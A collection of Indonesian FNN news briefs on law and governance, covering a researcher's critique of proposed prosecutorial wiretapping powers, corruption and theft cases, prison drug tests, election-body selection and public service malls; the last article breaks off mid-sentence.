Jakarta, FNN - Peneliti Pusat Studi Hukum dan Kebijakan (PSHK) Fajri Nursyamsi menilai kewenangan kejaksaan terkait dengan penyadapan yang akan diatur dalam revisi Undang-Undang Nomor 16 Tahun 2004 tentang Kejaksaan, rentan terhadap penyalahgunaan dan pelanggaran hak asasi manusia (HAM). "Pasal 30c huruf (k) RUU Kejaksaan yang memasukan terkait kewenangan penyadapan, harus dipahami ini sebagai upaya yang rentan terhadap penyalahgunaan dan pelanggaran HAM," kata Fajri dalam Rapat Dengar Pendapat Umum (RDPU) Komisi III DPR RI di Gedung DPR RI, Jakarta, Rabu. Pasal 30c huruf (k) disebutkan bahwa kejaksaan berwenang melakukan penyadapan dan menyelenggarakan pusat pemantauan (monitoring) di bidang tindak pidana. Menurut Fajri, perlu ada batasan yang sangat jelas, tegas, dan prosedur yang terukur serta dibatasi dalam lingkup penegakan hukum terkait dengan kewenangan penyadapan tersebut. Ia menawarkan opsi lain terkait dengan kewenangan penyadapan tersebut, yakni: pertama, pengaturannya perlu dilengkapi dalam RUU tersebut, mulai dari penggunaan, prosedur, hingga keterlibatan lembaga terkait. Kedua, menyelesaikan dahulu RUU Penyadapan karena bagian dari amanat putusan MK yang penyadapan harus diatur dalam konteks undang-undang, terutama UU tersendiri yang sudah mulai didorong di DPR. Oleh karena itu, dia menyarankan agar konsepsi penyadapan di RUU Penyadapan diselesaikan dahulu dan perdebatannya bukan dalam konteks siapa yang memiliki wewenang menyadap, melainkan bagaimana prosedur, dampak, dan batasannya seperti apa dalam kewenangan penyadapan. Menurut dia, dalam konteks tersebut, lembaga penegak hukum bisa menjadi lembaga yang dapat kewenangan penyadapan ini. Namun, bagaimana prosedurnya, batasannya seperti apa yang harus terlebih dahulu diselesaikan pembahasannya. "Ketika DPR sebagai pembentuk UU bersama Presiden sudah menyepakati mekansimenya, bisa beranjak siapa yang bisa gunakan kewenangan penyadapan," katanya. Fajri juga menyoroti pemberian kewenangan pada kejaksaan dalam pengawasan multimedia yang diatur dalam Pasal 30b huruf (f) yang dinilainya tidak relevan dilekatkan pada institusi penegak hukum tersebut. Pasal 30b huruf (f) disebutkan bahwa dalam intelijen penegakan hukum, kejaksaan berwenang melakukan pengawasan multimedia. Menurut dia, kewenangan pengawasan multimedia tidak relevan karena mekanisme pengawasan sudah dibangun tersendiri berdasarkan lembaga, misalnya Dewan Pers dan Komisi Penyiaran Indonesia (KPI). "Kami menilai perkembangan lebih cepat ada di UU Sistem Perbukuan (Undang-Undang Nomor 3 Tahun 2017) yang sudah memiliki mekanisme pengawasan sendiri dan kejaksaan dilibatkan dalam konteks penegakan hukum, bukan pengawasan yang selama ini dijalankan," ujarnya. Ia menilai keterlibatan kejaksaan dalam penindakan terhadap konten multimedia yang bermasalah harus dalam penegakan hukum melalui proses peradilan, bukan masuk dalam ranah pengawasan dalam konteks intelijen penegakan hukum. RDPU Komisi III DPR tersebut dipimpin Wakil Ketua Komisi III DPR RI Adies Kadir dan Pangeran Khairul Saleh untuk meminta masukan masyarakat terkait revisi UU Kejaksaan. Hadir dalam RDPU tersebut Ketua Komisi Kejaksaan RI Barita Simanjuntak, Guru Besar FHUI Topo Santoso, Direktur Masyarakat Anti-Korupsi (MAKI) Boyamin Saiman, peneliti PSHK Fajri Nursyamsi, dan peneliti KontraS Syahar Banu. (sws)

Polda Sultra Tangkap Pelaku Pencurian 12 Unit Motor

Kendari, FNN - Tim Jatanras Ditreskrimum Polda Sulawesi Tenggara (Sultra) menangkap dua orang pria bernisial W (24) dan I (23) yang diduga terlibat kasus pencurian 12 unit kendaraan roda dua di sejumlah wilayah provinsi ini. Kasubdit III Jatanras Ditreskrimum Polda Sultra AKBP Mulkaifin, di Kendari, Rabu, mengungkapkan bahwa keduanya ditangkap di wilayah Kelurahan Anduonohu dan wilayah Kelurahan Kandai, Kota kendari, sekitar pukul 14.00 WITA. Dia menyampaikan, tim jatanras mengamankan barang bukti 12 unit kendaraan roda dua dari para tersangka yang merupakan hasil operasi kegiatan jalanan yang digelar Ditreskrimum Polda Sultra, "Jadi dari hasil operasi kegiatan jalanan, kami mengamankan dua orang tersangka dengan barang bukti 12 unit kendaraan roda dua. Dari tersangka W diamankan enam barang bukti, dan tersangka I juga diamankan enam barang bukti," katanya pula. Kedua tersangka dijerat Pasal 363 KUHP tentang Pencurian dan Pemberatan dengan ancaman maksimal tujuh tajun dan minimal lima tahun penjara. Selain kendaraan, dari operasi kegiatan jalanan yang digelar Ditreskrimum Polda Sultra, polisi juga mengamankan 10 orang lainnya yang kedapatan membawa senjata tajam (sajam). "Namun ke 10 orang tersebut kita hanya lakukan pembinaan agar tidak melakukan kesalahannya lagi membawa sajam, karena itu bisa memicu hal-hal yang tidak di inginkan di jalanan," katanya. (sws)

KPK Panggil Mantan Mentan Amran Sulaiman

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) memanggil mantan Menteri Pertanian (Mentan) Amran Sulaiman dalam penyidikan kasus dugaan korupsi pemberian izin kuasa pertambangan eksplorasi dan eksploitasi serta izin usaha pertambangan operasi produksi dari Pemkab Konawe Utara. Amran dipanggil sebagai saksi untuk tersangka mantan Bupati Konawe Utara, Sulawesi Tenggara Aswad Sulaiman (ASW). Dalam jadwal yang dikeluarkan KPK, Amran dipanggil dalam kapasitas sebagai Direktur PT Tiran Indonesia. "Hari ini, pemeriksaan saksi tindak pidana korupsi terkait pemberian izin kuasa pertambangan eksplorasi dan eksploitasi serta izin usaha pertambangan operasi produksi dari Pemerintah Kabupaten Konawe Utara tahun 2007-2014 untuk tersangka ASW," kata Pelaksana Tugas Juru Bicara KPK Ipi Maryati Kuding dalam keterangannya, di Jakarta, Rabu. Selain Amran, KPK juga memanggil dua saksi lain untuk tersangka Aswad, yaitu Bisman selaku Direktur PT Tambang Wisnu Mandiri, dan Andi Ady Aksar Armansyah dari pihak swasta. "Pemeriksaan dilakukan di Polda Sulawesi Tenggara," kata Ipi. KPK telah menetapkan Aswad Sulaiman sebagai tersangka pada 3 Oktober 2017. Tersangka Aswad Sulaiman selaku Bupati Konawe Utara periode 2007-2009 dan 2011-2016 diduga telah menguntungkan diri sendiri atau orang lain atau suatu korporasi, menyalahgunakan kewenangan, kesempatan atau sarana yang ada padanya karena jabatan atau kedudukan yang dapat merugikan keuangan negara atau perekonomian negara. Aswad Sulaiman disangkakan melanggar Pasal 2 ayat (1) atau Pasal 3 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang No. 20 Tahun 2001 juncto Pasal 55 ayat (1) ke-1 KUHP. Indikasi kerugian keuangan negara terkait kasus tersebut sekitar Rp2,7 triliun yang berasal dari penjualan hasil produksi nikel yang diduga diperoleh akibat proses perizinan yang melawan hukum. Selain itu, Aswad Sulaiman selaku Bupati Konawe Utara periode 2007-2009 diduga telah menerima uang sejumlah Rp13 miliar dari sejumlah perusahaan yang mengajukan izin kuasa pertambangan kepada Pemkab Konawe Utara. Indikasi penerimaan terjadi dalam rentang waktu 2007 sampai dengan 2009. Atas perbuatannya tersebut, Aswad Sulaiman disangka melanggar Pasal 12 huruf a atau huruf b atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang No. 20 Tahun 2001 juncto Pasal 55 ayat (1) ke-1 KUHP. (sws)

PTPN VII Terapkan Budaya Antikorupsi di Perusahaan

Bandarlampung, FNN - PT Perkebunan Nusantara (PTPN) VII telah menerapkan budaya antikorupsi yang menjadi komitmen perusahaan BUMN perkebunan komoditas sawit, teh, karet, dan tebu ini. "Kami juga menggandeng Komisi Pemberantasan Korupsi (KPK) dalam upaya pencegahan korupsi melalui webinar antikorupsi bertajuk Antikorupsi: Gratifikasi & Whistle Blowing System (WBS)," kata Direktur PTPN VII Ryanto Wisnuardhy, di Bandarlampung, Selasa. Ia menyebutkan acara ini juga untuk memperteguh semangat perilaku jujur dan berintegritas dalam menerapkan budaya antikorupsi yang menjadi komitmen selama ini. PTPN VII, katanya lagi, secara konsisten telah melakukan penerapan tata kelola perusahaan yang baik atau good corporate governance (GCG). Menurutnya, indikator paling normatif dan mudah dilihat dari perusahaan sehat adalah mencatat laba atau keuntungan. Tetapi, ujarnya lagi, lebih dari sekadar laba, indikator yang membuat sangat optimistis adalah komitmen dari segenap insan PTPN VII dalam menerapkan GCG serta perilaku antikorupsi. "Dasar-dasar penyelenggaraan GCG (Transparancy, Accountability, Responsibility, Independency dan Fairness) pada setiap proses bisnis manajemen telah memberikan dampak positif bagi kinerja PTPN VII," ujarnya pula. Ryanto mengatakan manajemen berhasil melakukan upaya-upaya transformasi yang dimulai dengan strategi penyelamatan. Lalu, setelah cukup stabil, pihaknya melakukan upaya pemulihan. Dan memasuki tahun 2021, dimana perusahaan mulai membukukan laba, selanjutnya manajemen melakukan strategi keberlanjutan atau sustainable. Ryanto menambahkan, Kementerian BUMN telah me-launching AKHLAK (Amanah, Kompeten, Harmonis, Loyal, Adaptif, dan Kolaboratif) sebagai tata nilai utama pada seluruh entitas BUMN di bawah Kementerian BUMN, termasuk PTPN Group atau PTPN VII. "AKHLAK secara etimologi bahasa memiliki makna yang sangat baik, karena berada pada nilai-nilai Ketuhanan Yang Maha Esa. AKHLAK adalah panduan terbaik dalam berinteraksi yang secara harfiah bisa kita maknakan secara umum sebagai budi pekerti yang baik. AKHLAK memberi panduan hidup harmonis, jujur, hormat, dan nilai positif lainnya," ujarnya lagi. Lebih lanjut dikatakan, penyelenggaraan webinar antikorupsi dengan tajuk Gratifikasi dan Whistle Blowing System (WBS) merupakan kerja sama antara PTPN VII dengan KPK RI. Hal ini merupakan wujud komitmen manajemen PTPN VII untuk melakukan edukasi serta internalisasi penerapan GCG, perilaku antikorupsi hingga budaya AKHLAK yang akan sangat menunjang keberhasilan usaha dan akuntabilitas dalam jangka waktu yang panjang. "Webinar antikorupsi pada kali ini juga merupakan amanah dari fungsi keberadaan komunikasi perusahaan dan program penyuluhan Tim Fungsi Kepatuhan Anti Penyuapan (FKAP) PTPN VII, dimana sebelumnya PTPN VII telah mendapatkan Sertifikasi ISO 37001:2016 Sistem Manajemen Anti Penyuapan, dan setiap tahunnya dilakukan audit surveillance oleh kembaga eksternal untuk memastikan penerapan SMAP secara konsisten dan berkesinambungan," katanya pula. (sws)

Lapas Parigi Temukan 20 Napi Positif Gunakan Narkoba

Parigi, FNN - Otoritas Lembaga Pemasyarakatan Kelas III Parigi, Kabupaten Parigi Moutong, Provinsi Sulawesi Tengah menemukan kurang lebih 20 narapidana positif menggunakan narkoba saat inspeksi mendadak pekan lalu. "Dari 90 orang yang menjalani tes urine sebagai sampel, 20 orang dinyatakan positif narkoba jenis sabu-sabu," kata Pelaksana Harian Kepala Lapas Kelas III Parigi Idris P Paserang yang ditemui, di Parigi, Rabu. Ia menjelaskan, puluhan napi terlibat narkoba tersebut hasil dari giat sidak yang dilaksanakan secara rutin oleh otoritas setempat sebagaimana program Kantor Wilayah Hukum dan Hak Asasi Manusia (Kemenkumham) Sulteng khusus rumah tahanan maupun lapas. Otoritas setempat menduga, hal ini terjadi pascakerusuhan di Lapas Parigi pada Oktober lalu, karena pada tenggang waktu tersebut terjadi kelonggaran pembesuk. Dari 90 napi yang dites urine, rata-rata merupakan tahanan narkoba, dan sejumlah lainnya tahanan pidana umum. Upaya itu dilakukan sebagai bentuk deteksi dini. "Dua kecurigaan kami, kelonggaran pascakerusuhan, dan peredaran barang milik dua tahanan narkoba yang telah dipindahkan ke Lapas Nusakambangan," ujar Idris. Saat ini, pihaknya telah memisahkan puluhan tahanan tersebut ke blok khusus sebagai bagian dari karantina, masing-masing 10 orang menempati dua kamar. Rencananya, napi yang terlibat penggunaan narkoba di dalam lapas dipindahkan atau mutasi ke sejumlah lapas yang ada di Sulteng, guna menghindari interaksi mereka. "Kami sudah mengingatkan pembesuk agar tidak membawa barang titipan dari orang yang tidak dikenal atau barang yang dilarang berupa telepon genggam dan sebagainya . Bila keluarga maupun kerabat tetap nekat, tentunya kami mengambil langkah tegas bekerja sama dengan kepolisian," kata Idris menegaskan. Dia menyebut, kondisi kapasitas Lapas Parigi saat ini sudah mencapai over kapasitas dengan jumlah penghuni sekitar 200 lebih tahanan, sedangkan alat tes urine dikirim dari Kemenkumham hanya berjumlah 190 alat tes. Sehingga, otoritas setempat hanya melakukan uji sampel terhadap puluhan warga binaan. "Kami terus melakukan upaya pembenahan, hal ini guna memutus rantai jaringan peredaran narkoba. Kami tidak ingin lapas menjadi tempat peredaran masif barang terlarang, sehingga deteksi dini harus rutin dilaksanakan," demikian Idris. (sws)

Kemenkumham Tekankan Pentingnya Bangun SDM di Bidang Paten

Jakarta, FNN - Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) RI menekankan pentingnya membangun sumber daya manusia (SDM) intelektual di bidang paten dalam rangka menuju Indonesia kompetitif di kancah internasional. "Menciptakan SDM yang memiliki pemahaman keintelektualan yang kuat khususnya di bidang paten penting untuk terus dibangun secara berkelanjutan," kata Pelaksana Tugas (Plt) Direktur Jenderal Kekayaan Intelektual Direktorat Jenderal Kekayaan Intelektual (DJKI) Kemenkumham Razilu pada webinar drafting paten yang disiarkan secara virtual, di Jakarta, Rabu. Ia mengatakan untuk bisa bersaing di tingkat global, maka SDM Indonesia juga harus inovatif serta mampu beradaptasi dengan perkembangan fenomena global. Oleh karena itu, untuk mendukung upaya SDM yang intelektual di bidang paten, pemerintah melalui DJKI Kemenkumham telah menetapkan 2021 sebagai tahun paten nasional. Targetnya ialah menciptakan kemandirian paten. Meliputi kemandirian dalam menyusun spesifikasi paten yang benar dan sesuai ketentuan yang berlaku serta mengerti cara mengajukan permohonan paten. Razilu yang juga Inspektur Jenderal (Irjen) Kemenkumham tersebut memahami bahwa ada potensi besar yang dimiliki oleh inventor dalam negeri untuk menemukan teknologi yang dapat memecahkan berbagai permasalahan kehidupan. Dengan kata lain teknologi yang mampu mempermudah kehidupan. Namun, sayangnya berbagai invensi hebat tersebut hingga kini belum didaftarkan ataupun belum diajukan perlindungannya ke DJKI Kemenkumham. Oleh karena itu, kata dia, ke depan perlu adanya penguatan kerja sama antarelemen mulai dari perguruan tinggi, badan penelitian dan pengembangan, pelaku usaha serta industri skala besar, baik dalam aspek substansi pelaksanaan penelitian dan pengembangan SDM maupun pemanfaatan hasil-hasil penelitian serta pengembangan yang penting untuk segera diimplementasikan. "Sehingga ini menghasilkan paten yang aplikatif dan menjawab kebutuhan publik serta mampu mendorong percepatan pembangunan baik di pusat maupun daerah dengan berbasis inovasi," kata Razilu. (sws)

629 Pendaftar Anggota KPU dan Bawaslu Lolos Seleksi Administrasi

Jakarta, FNN- Tim Seleksi Calon Anggota KPU dan Bawaslu Masa Jabatan 2022-2027 mengumumkan 629 orang dari total 868 pendaftar ditetapkan memenuhi syarat atau lulus seleksi administrasi sehingga mereka dapat lanjut ke tahapan berikutnya, yaitu tes tertulis, penulisan makalah, dan tes psikologi. Dari 629 orang yang lulus tahap penelitian administrasi itu, 352 di antaranya merupakan pelamar anggota Komisi Pemilihan Umum (KPU) RI, sementara 277 lainnya merupakan pendaftar anggota Badan Pengawas Pemilu (Bawaslu) RI, kata Ketua Tim Seleksi Juri Ardiantoro saat jumpa pers di Jakarta, Rabu. “Dari pendaftar (anggota KPU) 492 orang, yang memenuhi syarat atau yang lulus 352 orang. Jadi, ada 140 orang yang tidak lulus (seleksi) penelitian administrasi bakal calon anggota KPU,” sebut Juri didampingi oleh sembilan anggota Tim Seleksi di dalam ruangan konpers dan satu orang secara virtual. Untuk pendaftar anggota Bawaslu, 277 orang lulus seleksi penelitian administrasi dari total 376 pelamar. Dari keterangan yang disampaikan oleh Juri, jumlah pendaftar laki-laki yang lulus tahapan penelitian administrasi masih lebih dominan daripada perempuan. Untuk pendaftar anggota KPU yang lolos tahapan administrasi, jumlah laki-laki mencapai 255 orang, sementara perempuan 97 orang atau 27,5 persen dari total peserta yang lulus, terang Juri. Ia lanjut menyampaikan hasil seleksi administrasi calon anggota Bawaslu menunjukkan ada 207 pendaftar laki-laki dan 70 pendaftar perempuan yang lulus. Persentase perempuan yang lulus pada tahapan administrasi sebanyak 25,3 persen. Kemudian untuk persebaran wilayah, Juri menyebut pendaftar yang lulus tahap administrasi berasal dari seluruh wilayah Indonesia, yaitu Sumatera, Jawa, Kalimantan, Sulawesi, Bali dan Nusa Tenggara, serta Maluku dan Papua. Walaupun demikian, pendaftar dari Jawa dan Sumatera masih jadi kelompok yang lebih dominan dibandingkan dengan daerah lainnya. Jumlah pelamar anggota KPU dari Jawa yang lulus seleksi administrasi mencapai 158 orang, kemudian Sumatera 77 orang, Sulawesi 47 orang, Maluku dan Papua 27 orang, Kalimantan 26 orang, serta Bali dan Nusa Tenggara 17 orang. Kondisi demikian juga ditemukan pada hasil tes administrasi calon anggota Bawaslu. Pelamar dari wilayah Jawa dan Sumatera lebih dominan dibandingkan dengan pendaftar dari daerah lain. Jumlah pelamar anggota Bawaslu dari Jawa yang lulus seleksi administrasi sebanyak 143 orang, Sumatera 58 orang, Sulawesi 33 orang, Kalimantan 17 orang, Maluku dan Papua 15 orang, terakhir Bali dan Nusa Tenggara 11 orang. Ketua Tim Seleksi menyampaikan nama-nama lengkap peserta yang lulus tes administrasi dapat dilihat di laman resmi Tim Seleksi KPU dan Bawaslu, http://seleksikpubawaslu.kemendagri.go.id. Tim Seleksi juga akan menyiarkan nama-nama yang lulus tahapan administrasi itu di beberapa media cetak nasional, yaitu Jawa Pos, Sindo, dan Kontan. (sws)

Kiai Muda Jatim "sowan" PWNU Jateng Beri Dukungan Gus Yahya

Semarang, FNN - Sejumlah kiai muda dari Provinsi Jawa Timur bersilaturahmi dengan Rois Syuriah PWNU Jawa Tengah K.H. Ubaidillah Shodaqoh menjelang berlangsungnya Muktamar Ke-34 Nahdlatul Ulama guna menyampaikan alasan mendukung K.H. Yahya Cholil Staquf (Gus Yahya) sebagai Ketua PBNU. Melalui keterangan pers yang diterima ANTARA di Semarang, Rabu, salah seorang kiai muda Jatim bernama Abdussalam Shohib (Gus Salam) mengatakan bahwa kiai muda NU telah berkomitmen untuk mengawal amanah para kiai sepuh Jatim untuk mendampingi Gus Yahya mulai dari pramuktamar sampai pemilihan hingga selanjutnya. "Kami berkomitmen mengawal dawuh kiai sepuh Jatim untuk Gus Yahya, baik jelang Muktamar NU hingga saat mendapatkan amanah selanjutnya," katanya. Melalui silaturahmi ini, Gus Salam juga mengajak pada semua pihak untuk mengupayakan Muktamar NU sebagai momentum menawarkan gagasan dan program-program kerja NU sebagai sarana untuk mempersiapkan Satu Abad NU pada tahun 2026. "Kami sangat berharap adanya regenerasi, terutama tokoh yang mempunyai ide dan gagasan terhadap tantangan NU ke depan, baik secara nasional maupun internasional," ujarnya. Silaturahmi para kiai muda NU dari Jatim ini juga sebagai upaya sekaligus harapan agar muktamar berjalan dengan baik, lancar, dan damai. Menurut dia, NU ke depan memiliki tantangan yang besar, baik di kancah nasional maupun internasional, sehingga gelaran besar ini sekaligus harus menjadi contoh bagi semua pihak, baik dalam negeri maupun dunia. "Kami juga berharap pada semua pihak menjelang Muktamar NU untuk menjaga akhlakul karimah serta tidak menjadi ajang untuk saling menjelekkan dan menjatuhkan," katanya. Kiai Haji Muhammad Abdurrahman Al Kautsar atau Gus Kautsar dari Ploso, Kediri, mengungkapkan alasan mendukung Gus Yahya menjadi Ketua Umum PBNU karena yang bersangkutan memiliki arah tujuan atau sasaran masa depan yang jelas dan tahu cara mencapainya. "Gus Yahya itu mampu di hadapan kami menjelaskan awal sampai akhir sekaligus menjelaskan mengapa seperti itu," ujarnya. Selain Gus Salam dan Gus Kautsar, tampak hadir Gus Atho' illah Anwar Mansur dari Lirboyo, Jombang, Gus Fahim, Gus Maksum, Gus Kholil Sidogiri, Abdus Salam Shohib, Gus Makmun Ketua PCNU Kediri, dan Gus Makki Ketua PCNU Banyuwangi. (sws)

Mendagri Minta Sumut Replikasi MPP dari Jawa Timur

Jakarta, FNN - Menteri Dalam Negeri (Mendagri) Tito Karnavian meminta Pemerintah Provinsi Sumatera Utara untuk mereplikasi pembentukan mal pelayanan publik (MPP) dari daerah lain yang telah memiliki integrasi pelayanan publik tersebut, seperti Pemprov Jawa Timur. "Di Sumatera Utara belum ada. Tinggal mereplikasi saja beberapa daerah yang sudah ada. Di Jawa Timur, Kabupaten Banyuwangi itu salah satu yang terbaik," kata Tito saat mendampingi Wakil Presiden Ma’ruf Amin dalam rapat di rumah dinas gubernur Sumatera Utara, Medan, Rabu. Mendagri menambahkan bahwa Gubernur Sumatera Utara Edy Rahmayadi dapat menginstruksikan jajaran bupati dan wali kota di Provinsi Sumut untuk melakukan studi banding dan melakukan kajian terhadap MPP yang sudah ada di berbagai daerah. "Mungkin bisa ditugaskan teman-teman bupati, wali kota. Gubernur juga melihat ke sana, kemudian mereplikasi disesuaikan dengan situasi di sini (Sumut)," katanya. Tito juga meminta seluruh bupati dan wali kota di Sumatera Utara, serta Edy Rahmayadi, untuk bersikap sigap dalam membangun MPP guna mewujudkan reformasi birokrasi di Indonesia. "Akselerasi reformasi birokrasi di Indonesia tidak dapat tercapai apabila upaya hanya dari pusat. Namun, memerlukan sinergi dengan daerah," katanya. Sementara itu, Edy Rahmayadi menyatakan komitmennya untuk membangun MPP di tingkat kabupaten dan kota di Sumatera Utara. Gubernur Sumut mengatakan bahwa pihaknya akan melakukan kajian untuk membangun MPP tersebut. "Ini juga perlu pembelajaran secara terus-menerus dan harus benar-benar fokus," kata Edy. Sebelumnya, Wapres RI Ma’ruf Amin yang memimpin rapat tersebut mengatakan bahwa pembentukan MPP merupakan salah satu cara untuk meningkatkan pelayanan publik dan menciptakan reformasi birokasi di Tanah Air. "Salah satu usaha dalam rangka meningkatkan pelayanan publik adalah dengan dibangunnya MPP di kabupaten dan kota. Saya harapkan menjadi wajah pemerintahan di dalam rangka pelayanan publik," ujar Wapres. Wapres menyebutkan hingga saat ini telah didirikan 45 MPP di tingkat kabupaten dan kota di Indonesia. Sementara itu, menurut Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Kemenpan RB), hingga Maret 2021 sebanyak 38 kepala daerah berkomitmen untuk mendirikan MPP di daerahnya. Sebanyak 38 kepala daerah tersebut terdiri atas 24 bupati dan 16 wali kota yang menandatangani nota kesepahaman sebagai wujud keseriusan dalam memberikan pelayanan publik terbaik kepada masyarakat. (sws)

Kota Pangkalpinang Raih Penghargaan Swasti Saba Wiwerda

Pangkalpinang, FNN - Pemerintah Kota Pangkalpinang, Provinsi Kepulauan Bangka Belitung, pada tahun ini berhasil meraih penghargaan Swasti Saba Wiwerda dari Kementerian Kesehatan Republik Indonesia. "Tahun 2019 kita telah mendapatkan penghargaan Swasti Saba Padapa dan tahun ini meraih Swasti Saba Wiwerda. Ini merupakan salah satu bentuk keseriusan pemerintah dalam bidang kesehatan," kata Sekretaris Daerah Kota Pangkalpinang Radmida Dawam di Pangkalpinang, Rabu. Penghargaan tersebut diumumkan secara virtual oleh Kementerian Kesehatan RI, melalui kegiatan penyerahan penghargaan Swasti Saba Kabupaten/Kota Sehat dan penghargaan Penerapan Protokol Kesehatan Bagi Tempat Pengelolaan Pangan, pada Rabu. "Hanya ada empat kabupaten/kota yang dapat penghargaan Swasti Saba Wiwerda. Alhamdulillah Kota Pangkalpinang menjadi salah satu penerima," katanya. Penghargaan tersebut merupakan penilaian dari Kementerian Kesehatan RI dan Kementerian Dalam Negeri yang diberikan kepada kabupaten/kota yang memenuhi kriteria. Atas diraihnya penghargaan tersebut, Radmida mengucapkan terima kasih kepada instansi dan Forum Kota Sehat, yang ikut berpartisipasi dan mewujudkan Kota Pangkalpinang bersih, aman, nyaman dan sehat. "Bappeda sebagai inisiator didukung Dinas Kesehatan, Dinas Perkim dan khususnya Forum Kota Sehat. Penghargaan ini bentuk nyata hasil kolaborasi yang indah dan peran serta aktif seluruh pihak dalam menciptakan Pangkalpinang yang lebih sehat. Kita jangan terlalu berpuas diri dan mari terus berbenah," ujarnya. (sws)

Jubir KLB: Moeldoko Berduka Atas Wafatnya Max Sopacua

Jakarta, FNN - Pimpinan kelompok kongres luar biasa (KLB) Jenderal TNI (Purnawirawan) Moeldoko menyampaikan ucapan dukacita atas wafatnya politisi senior dan mantan petinggi Partai Demokrat Max Sopacua, kata Juru Bicara KLB Muhammad Rahmad. "Pak Moeldoko dan kami sangat kehilangan, dan mendoakan semoga Pak Max Sopacua diampuni dosa-dosanya oleh Allah Swt., kebaikan-kebaikan beliau dibalas Allah Swt. dengan pahala yang berlipat ganda dan semoga menjadi ahli surga," kata Rahmad saat dihubungi di Jakarta, Rabu. Dalam kesempatan yang sama, Rahmad mengenang kebersamaan antara Max Sopacua, Moeldoko, dan para penggerak KLB. "Pak Max Sopacua adalah seorang muslim yang taat. Pak Moeldoko dan kami sering salat berjemaah dengan beliau," ujar Rahmad. Menurut Jubir KLB, Max Sopacua tidak hanya berkiprah di partai, tetapi juga turut memperhatikan kemajuan dunia olahraga Indonesia. "Max Sopacua adalah tokoh penyiar TVRI kawakan. Pencinta olahraga pasti kenal dengan suara dan wajah Pak Max Sopacua era '80—90-an. Beliau sangat banyak berkontribusi untuk kemajuan olahraga nasional ketika sebagai anggota DPR RI dan aktif di Komisi X," terang Rahmad. Terkait dengan peran Max pada KLB di Deli Serdang, Sumatera Utara, pada bulan Maret 2021, Rahmad menyampaikan bahwa Max Sopacua memiliki cita-cita besar untuk masa depan Partai Demokrat. "Beliau adalah (salah satu) perintis lahirnya Partai Demokrat. Bersama para pendiri partai, beliau yang membuka jalan dan turut membesarkan Partai Demokrat," ujar Rahmad. Ia mengatakan bahwa Max Sopacua pernah menyampaikan harapannya agar Partai Demokrat jadi partai yang lebih merakyat dan berkontribusi untuk kemajuan masyarakat. "Semoga cita-cita Pak Max Sopacua dapat kami teruskan," kata Rahmad. Zulkifli bin Adam alias Max Sopacua wafat di RSPAD Gatot Subroto, Jakarta, Rabu, dan jenazah almarhum disemayamkan di kediamannya, Bogor, Jawa Barat. Pimpinan KLB, menurut petinggi KLB lainnya, Darmizal, kemungkinan tidak ikut mengantar jenazah Max Sopacua dari rumah ke pemakaman. Pasalnya, Moeldoko, yang saat ini aktif menjabat sebagai Kepala Staf Kepresidenan RI masih menjalani tugas di luar kota. "Tadi kami sudah berkomunikasi lagi mengenai meninggalnya Pak Max. Beliau mengupayakan yang terbaik untuk pelepasan Pak Max. Jika (Moeldoko) tidak sempat (melayat), kami sebagai wakil ketua umum yang akan menggantikan beliau," kata Darmizal saat dihubungi di Jakarta, Rabu. (sws)

Wapres Minta Sumut Segera Bentuk MPP Percepat Reformasi Birokrasi

Jakarta, FNN - Wakil Presiden RI Ma'ruf Amin meminta Pemerintah Provinsi Sumatera Utara segera membentuk mal pelayanan publik (MPP) untuk mempercepat proses reformasi birokrasi nasional. "Saya dengar di Sumatera Utara ini belum ada MPP di kabupaten dan kota. Oleh karena itu, saya imbau supaya secara kelembagaan ini kemudian dibentuk di semua kabupaten dan kota," kata Wapres saat memimpin rapat di rumah dinas Gubernur Sumatera Utara, Medan, Rabu. Pendirian MPP tersebut, lanjut Wapres, telah diinstruksikan Presiden Joko Widodo melalui Peraturan Presiden Nomor 89 Tahun 2021 tentang Penyelenggaraan Mal Pelayanan Publik. "Harus menyelenggarakan pelayanan yang meliputi seluruh pelayanan perizinan dan juga pelayanan nonperizinan yang menjadi kewenangan daripada pemerintah pusat dan daerah, dan juga menjadi kewenangan BUMN, BUMD dengan kebutuhan, dan kondisi di daerah masing-masing," katanya menjelaskan. Wapres mengatakan bahwa pendirian MPP merupakan salah satu upaya untuk mempercepat terwujudnya reformasi birokrasi di Indonesia. Dengan demikian, pelayanan publik kepada masyarakat menjadi cepat, mudah, sederhana, dan kompetitif melalui MPP. "Salah satu yang menjadi sasaran reformasi birokrasi itu adalah pelayanan publik. Pelayanan publik inilah yang kita harapkan dapat terlayani dengan baik, cepat, dengan mudah, sederhana, dan kompetitif," katanya. Oleh karena itu, Wapres mendorong seluruh pelayan publik di daerah, khususnya di Sumatera Utara, untuk memanfaatkan perkembangan teknologi sehingga mewujudkan pelayanan publik yang efektif, efisien, dan responsif. "Pemantapan teknologi digital dalam pelayanan publik akan mendorong tercapainya pelayanan publik yang efektif, efisien, cepat, dan responsif. Saya harap ini juga terus diiringi tata pemerintahan yang makin profesional, efektif, efisien, bersih, dan juga tentu bebas korupsi," ujar Wapres. (sws)

Akademisi Sambut Baik Figur Perempuan Maju di Pilpres 2024

Jakarta, FNN - Akademisi sekaligus Guru Besar Ilmu Politik dari Universitas Indonesia (UI) Prof Burhan Djabir Magenda PhD menyambut baik wacana figur perempuan maju sebagai calon presiden (capres) pada Pemilihan Presiden (Pilpres) 2024. "Bagus ada wacana capres perempuan. Tapi, saya kira yang masuk akal adalah jadi calon wakil presiden (cawapres)," kata Prof Burhan Magenda melalui keterangan tertulis yang diterima di Jakarta, Rabu. Hal itu ia sampaikan menanggapi hasil survei Akar Rumput Strategic Consulting (ARSC) yang dirilis beberapa waktu lalu. Hasil survei ARSC, tokoh perempuan Nahdlatul Ulama (NU) Yenny Wahid menjadi salah seorang figur dari sembilan tokoh perempuan berpotensi maju sebagai calon presiden (capres) pada Pemilu 2024. Yenny Wahid dalam survei tersebut mempunyai elektabilitas 3,14 persen dan mengungguli tokoh perempuan lain yang saat ini masih menjabat sebagai Menteri Ketenagakerjaan Ida Fauziyah (1,32 persen). Dosen pascasarjana UI, Universitas Diponegoro dan Universitas Gadjah Mada itu mengatakan dari sembilan nama tokoh perempuan yang masuk dalam survei ARSC, hanya tiga nama yang peluangnya paling besar. Ketiga yakni Puan Maharani, Sri 